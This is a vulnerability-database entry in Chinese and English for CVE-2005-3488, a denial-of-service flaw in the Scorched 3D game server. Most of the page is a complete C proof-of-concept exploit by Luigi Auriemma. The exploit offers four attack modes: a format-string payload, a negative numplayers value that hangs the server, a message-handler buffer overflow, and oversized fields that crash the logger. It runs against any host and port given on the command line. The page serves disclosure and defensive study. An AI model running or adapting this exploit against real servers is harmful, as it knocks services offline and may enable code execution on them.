CVE-2005-3488
CVSS7.8
发布时间 :2005-11-03 17:02:00
修订时间 :2016-10-17 23:35:47
NMCOE    

[原文]Scorched 3D 39.1 (bf) and earlier allows remote attackers to cause a denial of service (long loop and server hang) via a negative numplayers value that bypasses a signed check in ServerConnectHandler.cpp.


[CNNVD]Scorched 3D ServerConnectHandler.cpp拒绝服务漏洞(CNNVD-200511-119)

        Scorched 3D 是经典回合制策略游戏。
        Scorched 3D 39.1 (bf)及更早版本可让远程攻击者通过可绕过ServerConnectHandler.cpp中单一检查的负numplayers值,使系统拒绝服务(长时间循环和服务器挂起)。

- CVSS (基础分值)

CVSS分值: 7.8 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3488
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3488
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200511-119
(官方数据源) CNNVD

- 其它链接及资源

http://aluigi.altervista.org/adv/scorchbugs-adv.txt
(VENDOR_ADVISORY)  MISC  http://aluigi.altervista.org/adv/scorchbugs-adv.txt
http://marc.info/?l=full-disclosure&m=113095941031946&w=2
(UNKNOWN)  FULLDISC  20051102 Multiple vulnerabilities in Scorched 3D 39.1
http://www.gentoo.org/security/en/glsa/glsa-200511-12.xml
(UNKNOWN)  GENTOO  GLSA-200511-12
http://www.securityfocus.com/bid/15292
(UNKNOWN)  BID  15292
http://www.vupen.com/english/advisories/2005/2288
(UNKNOWN)  VUPEN  ADV-2005-2288

- 漏洞信息

Scorched 3D ServerConnectHandler.cpp拒绝服务漏洞
高危 资料不足
2005-11-03 00:00:00 2005-11-15 00:00:00
远程  
        Scorched 3D 是经典回合制策略游戏。
        Scorched 3D 39.1 (bf)及更早版本可让远程攻击者通过可绕过ServerConnectHandler.cpp中单一检查的负numplayers值,使系统拒绝服务(长时间循环和服务器挂起)。

- 公告与补丁

        暂无数据

- 漏洞信息 (1285)

Scorched 3D <= 39.1 Multiple Vulnerabilities (All-in-One) (PoC) (EDBID:1285)
windows dos
2005-11-02 Verified
0 Luigi Auriemma
N/A [点击下载]
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <time.h>
#include <zlib.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}

// inserted winerr.h /str0ke

    #define close   closesocket
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif



#define VER         "0.1"
#define PORT        27270
#define BUFFSZ      0xffff
#define TIMEOUT     5
#define WAITSEC     5
#define MAXSOCKS    32
#define INFO        "status\0"
#define VERTAG      "build "
#define BOOMSZ      80000
#define BOFSZ       2200    // 1024 buffer, we need more for Win compatibility



u_char *do_it_big(int size);
void scorched3d_info(u_char *data, u_char *version, u_char *pversion);
void read_sock(int sock, u_char *buff, int max);
int scorched3d_recv(int sd, u_char *pck, int pcksz, u_char *buff, int buffsz);
void scorched3d_send(int sock, u_char *pck, int len, u_char *buff, int buffsz);
int scorched3d_build_pck(u_char *buff, u_char *cmd, ...);
int mycpy(u_char *dst, u_char *src);
int unzip(u_char *in, int size, u_char *out, int maxsz);
int zip(u_char *in, int size, u_char *out, int maxsz);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd,
            len,
            attack;
    u_short port = PORT;
    u_char  numplayers[12],
            password[256],
            version[16],
            pversion[16],
            username[17],
            *connmsg = "ComsConnectMessage",
            *uid,
            *buff,
            *pck,
            *msg,
            *p,
            *l;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif


    setbuf(stdout, NULL);

    fputs("\n"
        "Scorched 3D <= 39.1 (bf) multiple vulnerabilities "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%hu)]\n"
            "\n"
            "Attacks:\n"
            "1 = format string and buffer-overflow in addLine and SendString*\n"
            "    (this PoC tests only the format string for simplicity\n"
            "2 = server freeze through negative numplayers\n"
            "    if server is protected with password you need to know the keyword\n"
            "3 = ComsMessageHandler buffer-overflow\n"
            "4 = various crashes and possible code execution in Logger.cpp\n"
            "    if server is protected with password you need to know the keyword\n"
            "\n", argv[0], port);
        exit(1);
    }

    attack = atoi(argv[1]);
    if(argc > 3) port = atoi(argv[3]);

    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port        = htons(port + 1);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    buff = malloc(BUFFSZ + 1);
    pck  = malloc(BUFFSZ + 1);
    if(!buff || !pck) std_err();

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, sizeof(peer));
    if(!timeout(sd)) {
        len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
        if(len < 0) std_err();
        buff[len] = 0;
        scorched3d_info(buff, version, pversion);
        printf("- set version %s (%s)\n", version, pversion);
    } else {
        strcpy(version,  "39.1");
        strcpy(pversion, "bf");
    }
    close(sd);

    fputs(
        "- if you lost the connection probably the server is vulnerable\n"
        "- start attack:\n", stdout);

    uid = "";
    strcpy(numplayers, "1");
    password[0] = 0;

    switch(attack) {
        case 1: connmsg = "%n%n%n%n%n";         break;
        case 2: strcpy(numplayers, "-1");       break;
        case 3: connmsg = do_it_big(BOFSZ);     break;
        case 4: uid     = do_it_big(BOOMSZ);    break;
        default: {
            printf("\nError: the attack %d is not available\n\n", attack);
            exit(1);
            } break;
    }

    peer.sin_port        = htons(port);
    for(;;) {   // password handling
        sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(sd < 0) std_err();
        if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();

        sprintf(username, "%lx", time(NULL));

        len = scorched3d_build_pck(pck,
            connmsg,
            "host",         "Linux",
            "numplayers",   numplayers,
            "password",     password,
            "pversion",     pversion,
            "uid",          uid,
            "username",     username,
            "version",      version,
            NULL);

        scorched3d_send(sd, pck, len, buff, BUFFSZ);

        if(timeout(sd) < 0) {
            fputs("\nError: socket timeout, the server has not replied to our request\n", stdout);
            exit(1);
        }

        len = scorched3d_recv(sd, pck, BUFFSZ, buff, BUFFSZ);

        if(!strcmp(buff, "ComsTextMessage")) {
            msg = buff + 16;

            if(strstr(msg, "password")) {
                fputs("- server protected, insert the right password:\n  ", stdout);
                fflush(stdin);
                fgets(password, sizeof(password), stdin);
                for(p = password; *p > '\r'; p++);
                *p = 0;
                close(sd);
                continue;

            } else if(strstr(msg, "version")) {
                p = strstr(msg, VERTAG);
                if(!p) {
                    printf("\nError: no version found in the message:\n%s\n", msg);
                    exit(1);
                }
                p += sizeof(VERTAG) - 1;

                l = strchr(p, '(');
                if(l) *(l - 1) = 0;
                strcpy(version, p);

                p = l + 1;
                l = strchr(p, ')');
                if(l) *l = 0;
                strcpy(pversion, p);

                printf("- set version %s (%s)\n", version, pversion);
                close(sd);
                continue;
            }

            printf("%s\n", buff + 16);
            exit(1);
        }

        close(sd);
        break;
    }
    return(0);
}



u_char *do_it_big(int size) {
    u_char  *s;

    s = malloc(size + 1);
    if(!s) std_err();
    memset(s, 'a', size);
    s[size] = 0;
    return(s);
}



void scorched3d_info(u_char *data, u_char *version, u_char *pversion) {
    u_char  *p,
            *par,
            *val;

    version[0]  = 0;
    pversion[0] = 0;

    p = strchr(data, ' ');
    if(!p) return;

    for(;;) {
        data = p + 1;
        if((*data == '/') || (*data == '>')) break;

        p = strchr(data, '=');
        if(!p) break;
        *p = 0;
        par = data;
        data = p + 1;
        if(*data == '\'') {
            data++;
            p = strchr(data, '\'');
            if(p) *p = 0;
        }
        p = strchr(p + 1, ' ');
        if(p) *p = 0;
        val = data;

        printf("%20s: %s\n", par, val);

            // strcpy usage, not sanitized
        if(!strcmp(par, "version")) {
            strcpy(version, val);
        } else if(!strcmp(par, "protocolversion")) {
            strcpy(pversion, val);
        }
    }
}



void read_sock(int sd, u_char *buff, int max) {
    int     t;

    while(max) {
        t = recv(sd, buff, max, 0);
        if(t <= 0) std_err();
        max -= t;
    }
}



int scorched3d_recv(int sd, u_char *pck, int pcksz, u_char *buff, int buffsz) {
    int     len,
            unzlen;

    read_sock(sd, (u_char *)&len, 4);
    len = ntohl(len);

    read_sock(sd, (u_char *)&unzlen, 4);
    unzlen = ntohl(unzlen);

    read_sock(sd, pck, len - 4);

    if(unzlen > buffsz) return(0);
    len = unzip(pck, pcksz, buff, unzlen);
    return(len);
}



void scorched3d_send(int sd, u_char *pck, int len, u_char *buff, int buffsz) {
    int     tmp,
            zlen;

    zlen = zip(pck, len, buff, buffsz);

    tmp = htonl(zlen + 4);
    if(send(sd, (void *)&tmp, 4, 0) < 0) std_err();

    tmp = htonl(len);
    if(send(sd, (void *)&tmp, 4, 0) < 0) std_err();

    if(send(sd, buff, zlen, 0) < 0) std_err();
}



int scorched3d_build_pck(u_char *buff, u_char *cmd, ...) {
    va_list ap;
    int     num = 0,
            *pnum;
    u_char  *p,
            *s;

    p = buff;
    p += mycpy(p, cmd);
    pnum = (int *)p;
    p += 4;

    va_start(ap, cmd);
    while((s = va_arg(ap, u_char *))) {
        p += mycpy(p, s);
        num++;
    }
    va_end(ap);

    *pnum = htonl(num >> 1);
    return(p - buff);
}



int mycpy(u_char *dst, u_char *src) {
    u_char  *base = dst;

    while(*src) *dst++ = *src++;
    *dst++ = 0;
    return(dst - base);
}



int unzip(u_char *in, int size, u_char *out, int maxsz) {
    z_stream    z;
    int         ret;

    z.zalloc = (alloc_func)0;
    z.zfree  = (free_func)0;
    z.opaque = (voidpf)0;

    if(inflateInit2(&z, 15)) {
        fputs("\nError: zlib initialization error\n", stdout);
        exit(1);
    }

    z.next_in   = in;
    z.avail_in  = size;
    z.next_out  = out;
    z.avail_out = maxsz;
    inflate(&z, Z_NO_FLUSH);

    ret = z.total_out;
    inflateEnd(&z);
    return(ret);
}



int zip(u_char *in, int size, u_char *out, int maxsz) {
    z_stream    z;
    int         ret;

    z.zalloc = (alloc_func)0;
    z.zfree  = (free_func)0;
    z.opaque = (voidpf)0;

    if(deflateInit2(&z, Z_BEST_COMPRESSION, Z_DEFLATED, 15, 9, Z_DEFAULT_STRATEGY)) {
        fputs("\nError: zlib initialization error\n", stdout);
        exit(1);
    }

    z.next_in   = in;
    z.avail_in  = size;
    z.next_out  = out;
    z.avail_out = maxsz;
    deflate(&z, Z_FINISH);

    ret = z.total_out;
    deflateEnd(&z);
    return(ret);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_int resolv(char *host) {
    struct  hostent *hp;
    u_int   host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)(hp->h_addr);
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

// milw0rm.com [2005-11-02]
		

- 漏洞信息

20467
Scorched 3D Negative numplayers Variable DoS
Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2005-11-02 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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